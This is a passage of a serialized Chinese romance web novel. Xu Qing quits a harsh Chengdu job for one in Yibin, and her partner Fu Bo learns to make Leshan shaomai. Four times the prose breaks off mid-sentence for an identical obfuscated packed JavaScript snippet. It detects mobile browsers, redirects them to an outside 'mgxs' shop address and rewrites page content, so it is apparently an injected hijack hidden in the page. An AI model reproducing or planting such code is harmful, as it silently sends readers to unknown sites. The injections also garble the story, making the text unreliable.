说那个前台,每天像疯狗一样骂人。 说那个主管,永远在挑毛病。 说那些客户,99+的消息,永远回不完。 说那些加班,没有加班费,只有“辛苦你了”。 说着说着,她哭了。 哭得稀里哗啦。 付博在电话那头听着,不说话。 等她哭完了,他才开口。 “辞吧。” 她愣住了。 “什么?” “辞。换一个。别干了。” 她吸着鼻子。 “可是……可是我辞职了怎么办?我找不到工作怎么办?” “慢慢找。总能找到的。实在不行,来资阳。我养你。” 她听着他的话,心里暖暖的。 “你养我?你还在上学呢。” “快了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347257|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马上就毕业了。毕业了我就找工作。两个人一起,总能活下去的。” 她不说话。 他又说。 “许清,你听着。你不欠那家公司什么。你干了三年,够本了。该走了。” 她的眼泪又下来了。 但这次,是暖的。 挂了电话,她躺在床上,想了很久。 想这三年。 想那些早高峰挤不上的地铁,那些灰蒙蒙的雾霾天,那些99+的客户消息,那些吃不完的外卖。 想那家兔子拌面,那个嗓门大的老板娘,那个多给她加一勺兔肉的手。 想付博说的话。 “你不欠那家公司什么。” 是的。 她不欠他们什么。 2024年4月,她开始投简历。 投了很多,面试了很多,被拒绝了很多。 但她不着急了。 因为付博说,他养她。 虽然只是说说,但有这句话,她就觉得有底气。 5月,她收到了宜宾那家公司的面试通知。 去面试那天,她坐在高铁上,看着窗外飞速后退的风景。 过了眉山,过了乐山,进了山,过了隧道。 然后金沙江出现了。 宽宽的,黄黄的,在阳光下泛着光。 两岸是山,山上长满了竹子,绿油油的。 她看着那条江,心里突然有种奇怪的感觉。 好像,该离开了。 面试很顺利。 公司不大,但氛围好。老板是个四十多岁的女人,说话温和,问问题很专业。没有那些乱七八糟的考核,没有那些神经病一样的制度。 “我们这边双休,朝九晚五。偶尔加班,但会给调休。薪资的话,试用期5000,转正6000,五险一金都有。” 她听着,有点不敢相信。 “双休?” “对,双休。” “不用5分钟回消息?” 老板笑了。 “不用。客户消息在工作时间回就行。下班了,就第二天再回。” 她愣住了。 愣了很久。 然后她笑了。 笑着笑着,眼眶就酸了。 走出公司,她站在门口,看着对面的金沙江。 江水宽宽的,慢慢地流。 有船开过,呜呜地鸣笛。 她掏出手机,给付博打电话。 “面试怎么样?” “过了。” “真的?太好了!” “但我还没答应。” “为什么?” 她想了想。 “我想等你毕业。” 电话那头沉默了一下。 “许清,你先去。我毕业了就过来。” “你确定?” “确定。” 她笑了。 “好。那我答应了。” 12月,她辞职了。 那天早上,她走进公司,把攥紧的辞职信放在主管桌上。 主管看着那封信,愣住了。 “你要辞职?” “嗯。” “为什么?” 她看着主管,看着那张她看了几个月的惨白的脸。 “不想干了。” 主管皱起眉头。 “不想干?你知道现在外面工作多难找吗?你这条件,出去能拿多少?三千?四千?” 她笑了。 “五千。” 主管愣住了。 “什么?” “宜宾那边,试用期五千,转正六千。双休。朝九晚五。不用5分钟回消息。” 主管张了张嘴,没说出话。 她继续说。 “对了,老板说,下班了,客户消息第二天回就行。” 主管的脸变了。 她从没见过那张脸,露出那种表情。 说不出是惊讶,是嫉妒,还是别的什么。 她突然觉得很爽。 这三年,她在这间办公室里,听过多少这样的话。 “你去外面能拿多少?” “我们给你机会,你要珍惜。” “不干有的是人干。” 现在,她终于可以回答了。 “我不干了。” 她转身,走出办公室。 走到门口,又回过头。 “对了,周姐,那500全勤,你们留着吧。” 她走了。 走进电梯,走出大楼,站在太阳底下。 阳光刺眼,热浪扑面。 但她觉得,从来没这么舒服过。 2024年7月,她搬到了宜宾。 公司安排的宿舍在临港,离公司不远,走路二十分钟。房间不大,但干净,窗户外面能看见江。 她站在窗前,看着金沙江。 江水宽宽的,慢慢地流。 想起在成都那三年,每天早上挤地铁,晚上加班,周末补觉。日子过得像鬼一样,不见天日。 现在呢? 早上八点起床,慢慢洗漱,下楼吃个早饭,走路去公司。下午五点下班,回来做个饭,去江边散个步。周末双休,可以睡懒觉,可以逛街,可以看书。 她想起付博说的话。 “你不欠那家公司什么。” 是的。 她不欠他们什么。 她只是在那里,浪费了几个月。 2024年8月,付博毕业了。 他来宜宾那天,她站在车站门口等他。 出站的时候,他跑过来。 “许清!” 她看着他,看着他跑过来的样子。 还是那样,黑黑的,壮壮的。 但好像瘦了一点。 “你瘦了。”她说。 他笑了。 “想你想的。” 她打了他一下。 “贫嘴。” 那天晚上,她带他去江边散步。 金沙江的傍晚,特别好看。太阳快落山了,把江水染成金红色。有船开过,呜呜地鸣笛。江风吹过来,凉凉的。 他们走在步道上,手牵着手。 “宜宾真好。”他说。 “嗯。比成都好多了。” “为什么?” 她想了想。 “因为有江。因为空气好。因为不用挤地铁。因为……” 她看着他。 “因为你在。” 他笑了。 握紧她的手。 那天晚上,他们走得很慢。 说了很多话。 说她在成都那工作的几个月,说那些苦日子,说那些委屈。 他听着,时不时嗯一声。 说完,她问他。 “付博,你说我是不是很傻?在那家公司待了那么久。” 他想了想。 “不是傻。是没办法。” 她看着他。 “什么意思?” “那时候我在部队,你一个人。你不敢辞职,因为怕没收入。你忍着,是因为没办法。” 她愣住了。 他继续说。 “但现在不一样了。我出来了。我们可以一起。” 她的眼眶红了。 “付博。” “嗯?” “谢谢你。” 他笑了。 “谢什么?” “谢谢你等我。” 他握住她的手。 “我也谢谢你等我。” 那天晚上,他们在江边坐了很久。 看着灯亮起来,看着对岸的高楼倒映在水里。 她靠在他肩膀上,听着他的心跳。 咚,咚,咚。 跟以前一样。 她想起在成都那三年,每天早上挤地铁,晚上加班,周末补觉。 想起那个永远在骂人的前台,那个永远挑毛病的主管,那个永远回不完的客户消息。 想起那家兔子拌面,那个嗓门大的老板娘。 想起辞职那天,主管脸上的表情。 她笑了。 “付博。” “嗯?” “以后,我们就在宜宾吧。” 他点点头。 “好。” “不走了。” “不走了。” 她靠在他肩膀上,看着金沙江。 江水宽宽的,慢慢地流。 流向远方。 她不知道远方有什么。 但她知道,身边的人,是他。 就够了。 40. 信赖利益09 2025年1月,宜宾的冬天湿冷湿冷的。 许清下班回来,天已经黑了。她掏出钥匙开门,屋里黑着灯,冷得像冰窖。她开了空调,去厨房烧水,准备煮点面吃。 手机响了。 付博:我到宜宾西站了,【笑脸】。 她愣了一下。 然后笑了。 许清:真的假的? 付博:真的。快出来接我。 她穿上外套就往外跑,准备打车去高铁站。 跑到小区门口,就看见一个黑影站在路灯底下,背着一个大书包,穿着一件黑色的羽绒服,冻得直跺脚。 看见她,他跑过来。 “许清!” 她看着他,看着他跑过来的样子。 “你……你怎么来了?” “放寒假了。想你了。” 她心里一暖。 “你也不提前说一声。” “说了就没惊喜了。” 她笑了。 “走吧。回家。” 回到家,她把空调开大,给他倒了杯热水。他捧着杯子,坐在沙发上,四处打量。 “你住得还行啊。” “小是小点,但够住了。” 他点点头。 “比我宿舍强。” 她在他旁边坐下。 “你怎么来的?” “坐高铁。从资阳到宜宾,一个多小时。” “饿不饿?” “饿。中午吃的到现在。” 她站起来。 “我给你煮面。” 她去厨房煮面,他跟过来,站在厨房门口。 “许清。” “嗯?” “我明天去乐山。” 她回过头。 “乐山?” “嗯。之前跟你说那个烧麦店,我联系好了。明天过去学,一个月。” 她看着他。 “一个月?” “嗯。学完正好过年。到时候再回来找你。” 她心里有点舍不得。 但也知道他是为了以后。 “行。那你自己注意安全。” 他笑了。 “知道。” 面煮好了,他坐在桌前大口吃。她坐在旁边,看着他吃。 “付博。” “嗯?” “你学完回来,打算怎么办?” 他想了想。 “先找地方开店吧。最好是宜宾,离你近。或者回兴文也行。” “开店要钱。你有吗?” 他愣了一下。 “有一点。但不多。” 她看着他。 “我也有点存款。可以凑一起。” 他摇摇头。 “不行。那是你的钱。” “我们一起的。” 他看着她。 “许清,我跟你商量个事。” “嗯?” “等我学完回来,咱们好好规划一下。开店的资金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347258|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算你入股。赚了钱按股份分。亏了……我慢慢还你。” 她笑了。 “你还挺有规划的。” 他不好意思地笑。 “那当然。要干就干正规的。” 那天晚上,他睡沙发。 她把被子抱出来,给他铺好。 “宜宾冬天冷,你盖厚点。” 他点点头。 “好。” 她回屋,躺在床上,听着客厅里的动静。 他翻来覆去的,好像睡不着。 过了一会儿,手机响了。 是他发的消息。 付博:许清,睡了吗? 许清:没。 付博:我睡不着。 许清:怎么了? 付博:在想以后。 许清:以后什么? 付博:以后我们开店了,你当老板娘,我当老板。每天一起上班,一起下班。赚了钱就出去旅游,亏了钱就再赚。 她看着这行字,笑了。 许清:你想得挺美。 付博:那是。我想了好久。 许清:那你好好学。学会了才能开店。 付博:好。我记住了。 放下手机,她看着天花板。 天花板上什么都没有,就是白白的。 但她好像看见了一条路。 一条通往以后的路。 不知道会通向哪里。 但他在前面走着。 她愿意跟着。 41. 信赖利益10 2025年1月,乐山。 付博站在那家老字号门口,抬头看着招牌。“乐山杨记烧麦”几个大字,黑底金字,看着有些年头了。 店里飘出一股香味,混着蒸汽,暖烘烘的。他深吸一口气,推门进去。 老板姓杨,五十多岁,胖胖的,围着一条白围裙,手上全是面粉。看见他进来,上下打量了一眼。 “你就是付博?” “对,杨师傅好。” 杨师傅点点头,冲里面喊了一声:“小李,带他去后厨换衣服。” 后厨比想象中要大。几张案板排开,几个学徒正在包烧麦,动作飞快。蒸汽从大锅里冒出来,整个屋子雾蒙蒙的。 小李给他找了件围裙,指了指角落。 “你就站那儿,先看着。” 付博站在角落里,看着他们包。 烧麦皮是现擀的,薄得透光。馅料拌得香喷喷的,有肉有笋有香菇。只见他们拿一张皮,挑一坨馅,一捏一转,一个烧麦就成型了。速度快得他眼睛都跟不上。 看了半天,他偷偷掏出手机,给许清发消息。 付博:到了。后厨好热。 许清很快回了。 许清:怎么样?难吗? 付博:看着挺难的。他们包得太快了。 许清:你慢慢学。别着急。 付博:嗯。杨师傅还没让我上手,就让我看着。 许清:那你好好看。认真学。 付博:知道了。 他把手机收起来,继续看。 看着看着,杨师傅走过来了。 “看了半天,看出什么门道没有?” 付博愣了一下。 “就……皮要薄,馅要多,包的时候要快。” 杨师傅笑了。 “废话。谁不知道?” 他挠挠头。 杨师傅指了指案板。 “过来,试试。” 付博走过去,拿起一张皮。 皮太薄了,他手一碰就破了。 杨师傅在旁边看着,没说话。 他又拿了一张,这回轻了点,没破。挑了一坨馅放上去,然后学着他们的样子一捏—— 馅全挤出来了。 杨师傅笑了。 “第一次?” “嗯。” “不错。比我第一次强。我第一次捏完,皮和馅分家了。” 付博愣了一下。 “真的假的?” “真的。包烧麦这东西,看着简单,没三个月下不来。” 三个月? 他只有一个月。 杨师傅拍了拍他肩膀。 “别急。慢慢来。先去揉面。” 付博被安排去揉面了。 面是大盆的,一次揉十几斤。他揉得满头大汗,胳膊酸得抬不起来。 付博:他们让我揉面。好累。 许清:揉面? 付博:嗯。说这是基本功。 许清:那你好好揉。揉好了才能包烧麦。 付博:我知道。就是想你。 许清:我也想你。 付博:等我学会了,回去给你包。 许清:好。我等着。 晚上收工,他回到住的地方。 是一个小单间,杨师傅给安排的,离店不远。房间不大,一张床一张桌子,但干净。 他躺在床上,浑身酸疼。 手机响了。 是许清的视频。 他接起来。 “喂?” 屏幕上的她,穿着睡衣,头发披着,看起来刚洗完澡。 “累不累?” “累死了。胳膊都抬不起来了。” 她笑了。 “揉面揉的?” “嗯。十几斤面,揉了一下午。” “那你好好休息。” 他点点头。 “许清。” “嗯?” “我今天看他们包烧麦,就想,以后咱们开店了,我包给你吃。” 她愣了一下。 “真的?” “真的。我学会了,第一个包给你。” 她笑了。 “好。我等着。” 挂了视频,他躺在床上,看着天花板。 天花板白白的,什么都没有。 但他好像看见了以后。 以后他们开店,她当老板娘,他当老板。 每天一起上班,一起下班。 她坐在前台,他包烧麦。 忙的时候一起忙,闲的时候一起闲。 赚了钱就出去旅游,亏了钱就再赚。 他想着想着,就睡着了。 第二天一早,他又去店里了。 揉面,切馅,擀皮。 杨师傅说,揉面要揉到“三光”——盆光、手光、面光。他揉了一上午,胳膊都快断了,终于揉出了一团光滑的面团。 杨师傅看了看,点点头。 “还行。继续。” 下午让他切馅。肉要剁成泥,笋要切成丁,香菇要切成末。一刀一刀,剁得他手都麻了。 付博:今天切馅。手都麻了。 许清:切馅? 付博:嗯。肉、笋、香菇,全要切碎。 许清:那你小心点,别切到手。 付博:知道。你吃饭了吗? 许清:吃了。在公司食堂吃的。 付博:好吃吗? 许清:还行。没你做的好吃。 他看着这行字,笑了。 付博:等我回去给你做。 许清:好。我等着。 晚上回去,他又给她发消息。 付博:杨师傅说我揉面揉得还行。明天可以试试包了。 许清:真的?这么快? 付博:嗯。说先包几个试试。 许清:那你加油。 付博:好。你也要好好吃饭。 许清:知道。 付博:想你。 许清:我也想你。 他看着这行字,把手机放在枕头边。 窗外,乐山的夜很安静。 偶尔有车开过,呜呜的。 他闭上眼睛。 想着以后。 想着她。 想着那家还没开的店。 第二天一早,天还没亮透,付博就醒了。 窗户外面灰蒙蒙的,有鸟在叫,叽叽喳喳的。他躺在床上愣了几秒,才反应过来自己是在乐山。胳膊酸得抬不起来,昨天揉面揉的。他活动了一下肩膀,坐起来,穿衣服,出门。 街上冷冷清清的,只有几家早餐店开着门。蒸笼冒着热气,有人在排队。他路过一家店,看了一眼,不是杨记。继续往前走。 走到杨记门口,天刚蒙蒙亮。门已经开了,里面亮着灯。他推门进去,杨师傅正在案板前忙活,头都没抬。 “来了?” “来了。” “吃了没?” “还没。” 杨师傅朝里屋努了努嘴。 “厨房有包子,自己拿。” 他进去拿了个包子,站在后厨门口吃了。包子是肉馅的,皮薄馅大,一口下去油汪汪的。他三两口吃完,抹了抹嘴,走进后厨。 后厨已经忙开了。几个学徒各就各位,揉面的揉面,洗菜的洗菜。热气从大锅里冒出来,整个屋子雾蒙蒙的。 杨师傅指了指角落里的案板。 “今天你剁馅。” 付博走过去,站在案板前。案板上放着一大块猪肉,肥瘦相间,看着得有十几斤。旁边是一把大菜刀,刀背厚实,刀刃锃亮。 杨师傅走过来,站在他旁边。 “知道这是什么肉吗?” 付博看了看。 “猪肉?” 杨师傅瞪了他一眼。 “废话。我问你什么部位的。” 他挠挠头。 “不知道。” 杨师傅拿起那块肉,翻过来给他看。 “这是前腿肉,夹缝肉。乐山烧麦,就得用这个部位的。肥瘦正好,三分肥七分瘦,不柴不腻。” 他把肉放下,拿起刀,在肉上比划了一下。 “看见这个纹路没有?顺着纹路切,别横着切。横着切肉就散了。” 付博盯着那块肉,点了点头。 杨师傅把刀递给他。 “先把肉切成片。厚薄均匀点。” 付博接过刀,掂了掂。挺沉的。 他深吸一口气,开始切。 第一刀下去,切得歪歪扭扭的。肉片一边厚一边薄,看着就不像样。 杨师傅在旁边看着,没说话。 他又切了几刀,还是不行。不是切厚了,就是切薄了,有几片甚至切断了,成了两半。 他停下来,有点泄气。 “杨师傅,我……” 杨师傅摆摆手。 “第一次都这样。你以前切过肉吗?” 他想了想。 “切过。煮面的时候切过火腿肠。” 杨师傅愣了一下,然后笑了。 “火腿肠跟肉能一样吗?” 他也笑了。 杨师傅走到他身后,握住他拿刀的手。 “看好了。刀要拿稳,别晃。另一只手按着肉,手指头弯起来,用指节顶着刀面。这样切,不会切到手。” 他按杨师傅说的做,果然稳多了。 “切的时候,刀往后拉,别往前推。往后拉省力,切得也匀。” 他试着切了一刀。这回好多了,厚薄均匀,刀口整齐。 “对,就这样。继续。” 他一片一片地切,越切越顺。 切完十几斤肉,花了快一个小时。胳膊酸得不行,但看着案板上整整齐齐的肉片,心里有点成就感。 杨师傅过来检查,翻了翻那些肉片。 “还行。接下来剁馅。” 他把刀往旁边一放,指着另一块案板。 “搬到那边剁。这边还要用。” 付博把肉片一片片搬到另一个案板上。那个案板厚实,上面有道道刀痕,一看就是用了很多年的。 杨师傅站在旁边,看着他。 “剁馅有剁馅的讲究。不能剁得太碎,太碎了肉就烂了,吃起来没嚼劲。也不能剁得太粗,太粗了口感不好。要剁到什么程度?像黄豆粒那么大,一粒一粒的,但又不能分开,要黏在一起。” 付博听着,脑子里想象那个状态。 “开始吧。先慢慢剁,不用急。” 他拿起刀,开始剁。 咚。咚。咚。 刀落在案板上,发出沉闷的声音。刚开始节奏很慢,一刀一刀的,肉片被剁成小块。他一边剁一边看,怕剁得太碎。 杨师傅在旁边看着,没说话。 剁了一会儿,肉块变小了。他开始加快节奏。 咚咚咚咚咚。 刀起刀落,肉馅在案板上散开又聚拢。他翻了个面,继续剁。 “翻的时候用刀背,别用刀刃。刀刃把肉刮起来,肉就烂了。” 他赶紧换刀背翻面。 又剁了一会儿,肉馅开始变得黏稠,粘在刀上。 “差不多了。”杨师傅说,“停下来我看看。” 他停下来,把刀放下。杨师傅走过来,用手捏了一点肉馅,搓了搓,又闻了闻。 “还行。不过这只是开始。真正的馅,还得加料。” 他指了指旁边的一排调料。 “姜、葱、蒜、花椒、胡椒、盐、酱油、料酒、香油。一样一样加,顺序不能错。” 他先拿过一块姜。 “姜要剁成末,不能切片,不能切丝。剁得细细的,吃到嘴里感觉不到姜,但能去腥提鲜。” 付博接过姜,开始剁。 姜比肉难剁多了,又硬又滑,刀下去老是跑。他剁了半天,姜末还是大小不一。 杨师傅看不下去了。 “你这样剁到明天也剁不好。刀要快,手要稳。姜要按住,刀要从上往下切,别往前推。” 他试了几次,慢慢找到感觉。姜末越来越细,最后成了姜蓉。 “好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347259|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。一斤肉,配十克姜末。你这有十二斤肉,姜末得一百二十克。” 付博愣住了。 “这……这怎么算?” 杨师傅笑了笑。 “你以后开店,难道天天拿秤称?凭手感。看这个量,大概这么多就行。” 他指了指案板上的姜末,示意他倒进去。 付博把姜末倒进肉馅里。 接下来是葱。大葱,白绿相间的,水灵灵的。杨师傅拿过一根葱,切成两段。 “葱不能用刀剁,要用切的。先切成丝,再切成末。切得细细的,但不能剁烂,要能吃出葱的颗粒感。” 他学着杨师傅的样子,把葱切成丝,再切成末。切完一堆,手都酸了。 “一斤肉配五十克葱。你这一盆,放这么多。” 他把葱末也倒进去。 蒜。大蒜剥了皮,拍碎,再剁成末。蒜味冲鼻,辣得他眼睛都快睁不开了。 “一斤肉配十克蒜。放这么多。” 花椒。杨师傅抓了一把花椒,放在锅里小火焙了焙,香味一下子就出来了。然后用擀面杖擀成粉。 “花椒不能多,一斤肉配两克就行。主要是提味,多了就麻嘴了。” 他把花椒粉撒进去。 胡椒。白胡椒粉,直接撒。 “胡椒可以多一点,一斤肉配三克。乐山烧麦,胡椒味重一点才香。” 然后是盐。 “盐是定味的,多了咸,少了淡。一斤肉配八克盐,你自己算。” 他懵了。 “八克……十二斤就是九十六克。这怎么估?” 杨师傅笑了。 “你以后多练就估得准了。刚开始就拿秤称,记下来。一斤肉放多少盐,记在心里。” 他点点头。 酱油。老抽上色,生抽提鲜。杨师傅拿起瓶子,往肉馅里倒了两次。 “老抽少一点,主要为了颜色。生抽多一点,提鲜。这个量不好说,看肉的老嫩。你以后自己摸索。” 料酒。去腥增香。 “一斤肉配十克料酒。乐山本地有些老师傅用花雕,那个更香。但咱们用普通料酒就行。” 香油。最后放。 “香油不能多,多了腻。主要是提香,放一点就行。” 所有调料都放进去,肉馅变成了一盆五颜六色的东西。姜的黄,葱的白,花椒的褐,酱油的红,混在一起,香味已经出来了。 “现在,开始打馅。” 杨师傅把盆推到中间。 “打馅是最累的,也是最重要的。要把所有调料和肉充分混合,把肉的胶质打出来,这样蒸出来的烧麦才会抱团,不会散。” 付博挽起袖子,准备动手。 “先顺一个方向搅。顺时针,一直顺时针。不能反着搅,反了就泄劲了。” 他伸手进去,开始搅。 肉馅很黏,搅起来费劲。他搅了几圈,手就酸了。 “用力。用全身的力。不是光用手腕,要用胳膊,用腰,把全身的劲使上。” 他调整姿势,用上腰力。果然好一点。 搅了十几分钟,肉馅开始变得紧实,粘在手上甩都甩不掉。 “继续。打到什么程度?打到肉馅发白,起胶,能拉丝。就像这样。” 杨师傅伸手进去,抓了一把肉馅,手一攥,肉馅从指缝里挤出来,黏黏的,拉出一条丝。 他看了看,继续搅。 又搅了十几分钟,胳膊酸得快抬不起来了。但肉馅确实变了,颜色发白,看着就紧实。 “差不多了。最后一步,加骨头汤。” 杨师傅从旁边端过来一盆汤,还冒着热气。 “这是猪骨加鸡架熬的,熬了三个多小时。汤要一点一点加,不能一次全倒进去。加一点,搅匀,再加一点。让肉把汤吃进去,这样蒸出来才鲜嫩多汁。” 他舀了一勺汤,倒进肉馅里。继续顺时针搅。 汤很快被肉吸收了。他又加一勺,再搅。 一勺一勺,加了七八次,汤没了。 肉馅变得更稀了,但看着更饱满,泛着油光。 “好了。盖上保鲜膜,放冰箱里醒一晚上。明天就能用了。” 付博站在案板前,看着那盆肉馅,长长地出了口气。 累。 真他妈累。 但看着那盆自己亲手剁的馅,心里又有点说不出的高兴。 杨师傅拍了拍他的肩膀。 “今天不错。明天继续。” 他点点头。 “谢谢杨师傅。” 杨师傅笑了。 “谢什么谢。以后你自己开店,天天都得这么干。到时候别叫苦就行。” 他也笑了。 “不会的。” 晚上回到住的地方,他躺在床上,胳膊酸得抬不起来。手机响了,是许清的视频。 他接起来。 “喂?” 屏幕上,许清的脸出现了。她穿着睡衣,头发披着,看起来刚洗完澡。 “今天怎么样?” “累死了。剁了一天的馅。” 她笑了。 “剁馅?比揉面还累?” “那可不。十几斤肉,一片一片切,一刀一刀剁。手都快废了。” 她看着他的脸。 “那你还干得动吗?” 他想了想。 “干得动。杨师傅说了,以后开店,天天都得这么干。” 她笑了。 “那你加油。学会了给我做。” 他点点头。 “好。第一个就给你做。” 挂了视频,他躺在床上,看着天花板。 天花板白白的,什么都没有。 但他好像看见了以后。 以后他们开店,她当老板娘,他当老板。 每天一起上班,一起下班。 她坐在前台,他包烧麦。 忙的时候一起忙,闲的时候一起闲。 他想着想着,就睡着了。 梦里全是肉馅。 一大盆,黏黏的,香香的。 42. 信赖利益11 第三天凌晨四点半,付博就醒了。 比前两天更早。窗外还是黑的,街上没一点声音。他躺在床上愣了几秒,胳膊还酸着,但比昨天好点了。穿衣服,出门,冷风一下子灌进脖子。他缩了缩,快步往店里走。 街上只有路灯亮着,黄黄的,照出他自己的影子。走了一会儿,前面出现了个人影,也是个学徒,姓陈,比他早来半个月。两个人点点头,没说话,继续走。 到杨记的时候,门已经开了。里面亮着灯,杨师傅站在案板前,正在揉面。听见脚步声,头都没抬。 “来了?” “来了。” “今天学擀皮。” 付博换好围裙,站到案板边。杨师傅指了指墙角的面盆。 “先把昨天饧的面拿出来。” 他走过去,掀开盖在上面的湿布。面盆里是一大团面团,表面光滑,摸上去凉凉的,有点硬。他双手伸进去,把面团抱出来,放在案板上。 杨师傅走过来,站在他对面。 “乐山烧麦的皮,讲究薄而不破,软而不烂。”他伸手按了按那团面,“面要硬,不能软。软了蒸出来塌,站不住。” 他指了指旁边的秤。 “一斤面粉,四两水。加一勺猪骨汤,一勺猪油,一小撮盐。”杨师傅拿起面团,掂了掂,“你昨天和的,正好。” 付博愣了一下。 “我昨天和的?” “嗯。让你练揉面,就是为了今天。”杨师傅把面团放回案板,“现在开始揉。揉到光。” 付博挽起袖子,双手按在面团上。 面团很硬,按下去要用力。他深吸一口气,开始揉。 揉面是个力气活,更是个技术活。他前几天练过,但那是小团面,今天是十几斤的大团。他双手按住面团往前推,把面推出去,再折回来,再推。一下一下,节奏慢慢找回来。 面团在案板上发出沉闷的声响。嘭。嘭。嘭。 杨师傅在旁边看着,偶尔说一句。 “用腰。别光用胳膊。” “对。推到底。” “折回来的时候转个方向。” 揉了十几分钟,面团开始变软,表面渐渐光滑。他额头渗出细汗,但没停。继续推,继续折,继续转。 又揉了十分钟,面团彻底光了。表面像缎子一样,泛着柔和的光。 杨师傅伸手按了按,点点头。 “行了。盖上布,再饧半小时。” 付博把面团放回盆里,盖上湿布。靠在案板边,喘了口气。 杨师傅看了他一眼。 “累?” “还行。” “等会儿擀皮更累。” 半小时后,面团拿出来了。 杨师傅把它切成几大块,留下一块,其余盖上布。 “这一块今天用完。用不完也得扔。不能过夜。” 付博点点头。 杨师傅把那块面搓成长条,粗细均匀,像一根擀面杖。然后拿起刀,开始下剂子。 刀起刀落,一个一个小面团落在案板上。大小几乎一样,每个都在十五克左右。付博在旁边看着,心想这得练多久才能这么准。 杨师傅下完剂子,把刀放下。 “你来。” 付博拿起刀,学着杨师傅的样子,把长条切成小段。 第一刀下去,切歪了。大小不均。 杨师傅在旁边看着,没说话。 他又切了几刀,慢慢找到感觉。虽然还是不太均匀,但比第一刀强多了。 “行了。接下来搓圆。” 他把一个个小剂子拿起来,在手心里搓圆。搓完一个,放回案板,撒上一层薄面。搓完一个,放一个。 搓了十几个,手心都热了。 杨师傅走过来,拿起一个他搓好的圆剂子,按了按。 “还行。接下来压扁。” 付博学着杨师傅的样子,用手心把圆剂子压扁。一个一个小圆饼,排在案板上。 “接下来,擀皮。” 杨师傅从抽屉里拿出一根擀面杖。两头尖,中间粗,枣核形状。 “这是橄榄杖。擀烧麦皮专用的。” 付博接过来,掂了掂。比普通擀面杖轻,木质细密,握着很顺手。 杨师傅拿起一个压扁的剂子,放在案板上。然后撒了一大把干面粉,把剂子埋进去。 “这一步关键。面粉要足,不然擀的时候粘。” 他扒开面粉,露出里面的剂子。两手握住橄榄杖,放在剂子上面。 “看好。” 他的右手按住擀面杖的一头,左手压在另一头。右手固定不动,左手往前推,同时顺时针转动擀面杖。 剂子在擀面杖下面转起来,越转越大,越转越薄。 擀了几下,他停下来,把皮转了九十度,继续擀。 又擀了几下,皮已经很大了,薄得透光。 然后他换了手法。左手固定,右手擀。一边擀一边转,皮的外缘开始出现褶皱,像荷叶的边。 “这是荷叶边。烧麦皮就得有这个。” 他把擀好的皮拿起来,对着灯照了照。皮薄如纸,边缘一圈褶皱,像裙摆一样。 付博看得眼睛都直了。 杨师傅把皮放下,看着他。 “你来。” 付博深吸一口气,拿起一个剂子,学着杨师傅的样子,撒上面粉,埋好。 两手握住橄榄杖。 右手固定,左手推。 剂子转起来了。但转得不顺,歪歪扭扭的。擀了几下,皮不是圆的,成了椭圆。 他停下来,把皮整了整,继续擀。 还是不行。一边厚一边薄。 杨师傅在旁边看着,伸手握住他的手。 “手腕放松。别太紧。” “对,往前推的时候要匀。” “转的时候别急,一下一下来。” 付博按他说的做,慢慢找到感觉。皮终于开始圆了。 擀了十几下,皮够大了。他开始擀边缘。 左手固定,右手推。一边推一边转,边缘开始出现褶皱。 但褶皱不均匀,有的深有的浅,有的地方甚至没褶。 杨师傅摇摇头。 “力道要匀。推的时候轻重一致。” 付博又试了几个。一个比一个好。虽然还是不如杨师傅的,但起码能看了。 杨师傅拿起他擀的最后一个皮,对着灯照了照。 “薄厚还行。褶子还得练。” 付博点点头。 杨师傅把那块面推过来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347260|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “今天把这些都擀完。” 付博看着那一堆剂子,少说也有七八十个。他咽了口唾沫。 “好。” 开始擀了。 一个,两个,三个。刚开始还仔细,一个皮擀半天。擀到第十个,手开始酸。擀到第二十个,手腕发僵。擀到第三十个,感觉胳膊不是自己的了。 但他没停。 杨师傅在旁边忙别的,偶尔过来看一眼,说一两句。 “这个厚了。重擀。” “边缘不够薄。再擀两下。” “面粉少了,有点粘。” 他一个接一个地擀。擀得好的放一边,擀得不好的重来。案板上的干面粉撒了一层又一层,围裙上全是白。 